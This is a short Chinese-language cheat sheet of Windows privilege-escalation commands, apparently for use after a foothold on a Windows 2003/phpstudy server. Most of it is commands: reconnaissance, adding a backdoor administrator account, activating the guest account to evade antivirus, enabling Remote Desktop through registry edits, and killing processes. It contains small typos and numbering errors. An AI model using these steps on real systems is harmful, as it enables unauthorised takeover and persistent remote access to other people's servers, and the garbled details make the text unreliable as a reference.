windows提权基本命令
环境windows2003+phpstudy
- whoami查看当前权限,当不是administrator或者system时需要提权
- ipconfig,查看服务器为内网还是外网,内网进服务器则需要转发端口
- quser查看管理是否在线
-
systeminfo查看服务器信息及相应的补丁,可找相应的补丁提权
-
tasklist查看当前运行的进程,是否有av,可利用的第三方的服务提权等
-
net user查看用户,当发现可疑用户时,可以弱口令尝试一波,因为可能是前辈的脚印,大多数都是弱口令
-
net user secquan secquan /add添加一个账号密码为secquan的用户,当权限不足时或者有av拦截会提示拒绝访问然后一般会出现一个数字5
-
net localgroup administrators secquan /add将secquan这个用户加到管理组
10. 当有av拦截第5步添加用户时,可以**guest账户 net user guest /active:yes ,重复第6步,将guest账户提升至管理员
11. 删除用户net user secquan /del
12. 查看远程桌面端口,tasklist /svc在输出的内容中查找svchost.exe进程下termservice服务对应的PID,在此查看的PID为:2400,查看第五步时pid为2400的端口,既为远程桌面端口
13. 查看远程端口或者使用注册表(REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server\WinStations\RDP-Tcp /v PortNumber)再set /a a=0xd3d
14. 当远程桌面服务被关闭时,可以用注册表命令开启(REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f)
15. 结束进程,taskkill /im mspaint.exe或者taskkill /pid pid号。结束1484这个进程 tasjkill /pid 4048
补充,无图
16. netstat查看端口连接
17. set查看命令组件是否可执行
18. sc查看mysql查看服务运行权限和路径的